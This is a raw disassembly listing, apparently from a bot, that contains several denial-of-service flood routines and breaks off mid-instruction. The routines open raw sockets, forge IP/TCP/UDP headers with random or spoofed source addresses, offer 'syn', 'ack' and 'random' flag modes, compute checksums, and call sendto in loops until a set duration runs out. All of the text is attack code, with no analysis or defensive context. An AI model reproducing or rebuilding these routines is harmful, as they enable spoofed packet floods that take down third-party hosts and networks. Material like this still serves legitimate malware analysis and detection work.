bp-based frame sub_414703 proc near ; DATA XREF: sub_401ACD+6D3Do var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41C159 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CBA14 ; inet_addr push eax call sub_4147A6 pop ecx pop ecx push eax lea eax, [ebp+var_394] push offset dword_437B0C push eax call sub_41C266 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414787 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409869 add esp, 14h loc_414787: ; CODE XREF: sub_414703+62j lea eax, [ebp+var_394] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_414703 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147A6 proc near ; CODE XREF: sub_414703+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_41D9A5 pop ecx mov [ebp+var_4], eax push edi push eax call dword_4CB9E8 ; gethostname push [ebp+var_4] call dword_4CBA58 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4CBA54 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4CB9B4 ; setsockopt mov esi, 200h push esi call sub_41BEB5 mov edi, dword_4270B0 pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4CB9D4 ; htons mov [ebp+var_96], ax loc_4148C1: ; CODE XREF: sub_4147A6+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_4149A7 call sub_41C2C2 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41C2C2 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41C2C2 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41C2C2 mov [ebp+var_20], ax call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4CB9D4 ; htons push esi mov [ebp+var_1E], ax call dword_4CB9D4 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41C2C2 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_40AA5F mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call sub_41CD20 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call dword_4CBA38 ; sendto jmp loc_4148C1 ; --------------------------------------------------------------------------- loc_4149A7: ; CODE XREF: sub_4147A6+12Cj push [ebp+var_8] call sub_41BA91 pop ecx push [ebp+var_4] call dword_4CBA6C ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_4147A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149C1 proc near ; DATA XREF: sub_401ACD+5306o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_4270B0 call edi ; GetTickCount push eax call sub_41C2B8 pop ecx push 0FFh push 3 push 2 call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_414A8A call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_437C24 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414A6A push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409869 add esp, 14h loc_414A6A: ; CODE XREF: sub_4149C1+84j lea eax, [ebp+var_440] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread loc_414A8A: ; CODE XREF: sub_4149C1+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_414B08 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_437BEC push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414AE8 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409869 add esp, 14h loc_414AE8: ; CODE XREF: sub_4149C1+102j lea eax, [ebp+var_440] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread loc_414B08: ; CODE XREF: sub_4149C1+DFj lea eax, [ebp+var_23C] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414B78 lea eax, [ebp+var_440] push offset unk_437BCC push eax call sub_41C266 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_414B58 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409869 add esp, 14h loc_414B58: ; CODE XREF: sub_4149C1+172j lea eax, [ebp+var_440] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread loc_414B78: ; CODE XREF: sub_4149C1+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_4CB9D4 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4CBA14 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_414BB0: ; CODE XREF: sub_4149C1+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_414E74 push 28h mov [ebp+var_2C], 45h call dword_4CB9D4 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414C23 call sub_41C2C2 mov esi, eax shl esi, 8 call sub_41C2C2 add esi, eax shl esi, 8 call sub_41C2C2 add esi, eax shl esi, 8 call sub_41C2C2 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_414C39 ; --------------------------------------------------------------------------- loc_414C23: ; CODE XREF: sub_4149C1+233j push [ebp+var_240] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr mov [ebp+var_20], eax loc_414C39: ; CODE XREF: sub_4149C1+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_414C57 call sub_41C2C2 cdq mov ecx, 401h idiv ecx push edx jmp short loc_414C5D ; --------------------------------------------------------------------------- loc_414C57: ; CODE XREF: sub_4149C1+284j push [ebp+var_B8] loc_414C5D: ; CODE XREF: sub_4149C1+294j call dword_4CB9D4 ; htons mov [ebp+var_16], ax call sub_41C2C2 cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 ; htons push 12345678h mov [ebp+var_18], ax call dword_4CB9D0 ; htonl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_414CAD mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_414D09 ; --------------------------------------------------------------------------- loc_414CAD: ; CODE XREF: sub_4149C1+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_414CCD mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_414D09 ; --------------------------------------------------------------------------- loc_414CCD: ; CODE XREF: sub_4149C1+301j lea eax, [ebp+var_1BC] push offset aRandom_0 ; "random" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_414D09 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_414D09: ; CODE XREF: sub_4149C1+2EAj ; sub_4149C1+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4CB9D4 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4CB9D4 ; htons mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_41CD20 lea eax, [ebp+var_A0] push 34h push eax call sub_40AA5F mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_41CD20 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AA5F mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414DF6 inc [ebp+arg_0] jmp loc_414BB0 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_4149C1+42Bj push [ebp+var_4] call dword_4CBA6C ; closesocket call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_437B7C lea eax, [ebp+var_440] push 200h push eax call sub_41C360 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_414E54 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409869 add esp, 14h loc_414E54: ; CODE XREF: sub_4149C1+46Ej lea eax, [ebp+var_440] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread loc_414E74: ; CODE XREF: sub_4149C1+203j push [ebp+var_4] call dword_4CBA6C ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset unk_437B2C push eax call sub_41C266 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_414EE5 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409869 add esp, 14h loc_414EE5: ; CODE XREF: sub_4149C1+4FFj lea eax, [ebp+var_440] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread sub_4149C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F05 proc near ; CODE XREF: sub_41500F+19Ap ; sub_41500F+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: sub_414F05+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: sub_414F05+12j jnz short loc_414F3E mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_414F3E: ; CODE XREF: sub_414F05:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F57 proc near ; DATA XREF: sub_401ACD+6C68o var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41C159 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CBA14 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_41500F add esp, 19Ch push eax lea eax, [ebp+var_394] push offset unk_437C58 push eax call sub_41C266 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414FF2 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409869 add esp, 14h loc_414FF2: ; CODE XREF: sub_414F57+79j lea eax, [ebp+var_394] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread sub_414F57 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41500F proc near ; CODE XREF: sub_414F57+54p var_CC = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, dword_4270B0 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4CBA54 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41C2B8 pop ecx mov edi, 578h push edi push 9 push 1 call sub_418BD1 pop ecx pop ecx push eax lea eax, [ebp+var_28] push eax call sub_41BF70 add esp, 0Ch mov esi, 5A0h loc_415069: ; CODE XREF: sub_41500F+235j call dword_4270B0 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_415249 cmp dword_4CF180, ebx jnz short loc_4150E8 push 10h pop eax mov [ebp+var_14], eax push eax lea eax, [ebp+var_68] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4CB978 ; getsockname push 0FFh push 1 call sub_418BD1 pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+var_CC] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41C266 add esp, 18h jmp short loc_4150FB ; --------------------------------------------------------------------------- loc_4150E8: ; CODE XREF: sub_41500F+7Ej lea eax, [ebp+var_CC] push offset dword_4CEB60 push eax call sub_41C890 pop ecx pop ecx loc_4150FB: ; CODE XREF: sub_41500F+D7j lea eax, [ebp+var_CC] push eax call dword_4CBA14 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4CB9D4 ; htons mov [ebp+var_52], ax call sub_41C2C2 mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call sub_41C2C2 mov [ebp+var_40], ax call sub_41C2C2 mov [ebp+var_3E], ax call sub_41C2C2 mov [ebp+var_3C], eax call sub_41C2C2 mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_414F05 mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_414F05 mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call dword_4271F4 ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A0] push 14h push eax lea eax, [ebp+var_40] push eax call sub_41CD20 lea eax, [ebp+var_8C] push edi push eax lea eax, [ebp+var_28] push eax call sub_41CD20 lea eax, [ebp+var_AC] push 598h push eax call sub_414F05 add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4CBA38 ; sendto inc [ebp+var_4] jmp loc_415069 ; --------------------------------------------------------------------------- loc_415249: ; CODE XREF: sub_41500F+72j push [ebp+var_8] call dword_4CBA6C ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41500F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41525A proc near ; DATA XREF: sub_401ACD+4B97o var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_4152D1 add esp, 214h push eax lea eax, [ebp+var_414] push offset unk_437C8C push eax call sub_41C266 lea eax, [ebp+var_414] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 add esp, 14h push 0 call dword_4270D4 ; ExitThread sub_41525A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152D1 proc near ; CODE XREF: sub_41525A+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_41530F lea eax, [ebp+var_254] push offset unk_437E7C push eax call sub_41C266 pop ecx xor edi, edi pop ecx jmp loc_4155D8 ; --------------------------------------------------------------------------- loc_41530F: ; CODE XREF: sub_4152D1+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_41533B call dword_4CB968 ; WSAGetLastError push eax push offset unk_437E2C jmp short loc_415356 ; --------------------------------------------------------------------------- loc_41533B: ; CODE XREF: sub_4152D1+5Aj lea eax, [ebp+arg_4] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_41536A call dword_4CB968 ; WSAGetLastError push eax push offset unk_437DE8 loc_415356: ; CODE XREF: sub_4152D1+68j lea eax, [ebp+var_254] push eax call sub_41C266 add esp, 0Ch jmp loc_4155D8 ; --------------------------------------------------------------------------- loc_41536A: ; CODE XREF: sub_4152D1+77j push edi mov [ebp+var_24], 2 call dword_4CB9D4 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_4271F0 ; inet_addr mov esi, dword_4270B0 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_437DBC push eax call sub_41C266 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_4153D3 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409869 add esp, 14h loc_4153D3: ; CODE XREF: sub_4152D1+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41C159 cmp esi, eax pop ecx ja loc_41558E mov esi, 41Ch jmp short loc_415407 ; --------------------------------------------------------------------------- loc_415402: ; CODE XREF: sub_4152D1+2B7j mov ebx, 0FFh loc_415407: ; CODE XREF: sub_4152D1+12Fj cmp dword_4CF180, edi jnz short loc_415461 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call dword_4CB978 ; getsockname push ebx push 1 call sub_418BD1 pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41C266 add esp, 18h jmp short loc_415471 ; --------------------------------------------------------------------------- loc_415461: ; CODE XREF: sub_4152D1+13Cj lea eax, [ebp+var_54] push offset dword_4CEB60 push eax call sub_41C890 pop ecx pop ecx loc_415471: ; CODE XREF: sub_4152D1+18Ej push esi mov byte_4CED60, 45h call dword_4CB9D4 ; htons mov word_4CED62, ax lea eax, [ebp+var_54] push eax mov word_4CED64, 1 mov word_4CED66, di mov byte_4CED68, 80h mov byte_4CED69, 11h mov word_4CED6A, di call dword_4CBA14 ; inet_addr mov dword_4CED6C, eax mov eax, [ebp+var_20] mov dword_4CED70, eax lea eax, [ebp+arg_84] push eax mov word_4CED7A, di call sub_41C159 test eax, eax pop ecx jnz short loc_4154E9 call sub_41C2C2 cdq mov ecx, 401h idiv ecx push edx jmp short loc_4154F7 ; --------------------------------------------------------------------------- loc_4154E9: ; CODE XREF: sub_4152D1+206j lea eax, [ebp+arg_84] push eax call sub_41C159 pop ecx push eax loc_4154F7: ; CODE XREF: sub_4152D1+216j call dword_4CB9D4 ; htons mov word_4CED76, ax call sub_41C2C2 cdq mov ecx, 401h push 408h idiv ecx mov word_4CED74, dx call dword_4CB9D4 ; htons push 400h mov word_4CED78, ax call sub_41C2C2 cdq idiv ebx push edx push offset dword_4CED7C call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4CED60 push [ebp+var_C] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz loc_415607 inc [ebp+var_4] call dword_4270B0 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41C159 cmp ebx, eax pop ecx jbe loc_415402 loc_41558E: ; CODE XREF: sub_4152D1+124j push [ebp+var_C] call dword_4CBA6C ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41C159 pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset unk_437D58 loc_4155C9: ; CODE XREF: sub_4152D1+34Aj lea eax, [ebp+var_254] push eax call sub_41C266 add esp, 18h loc_4155D8: ; CODE XREF: sub_4152D1+39j ; sub_4152D1+94j cmp [ebp+arg_20C], edi jnz short loc_415600 push edi lea 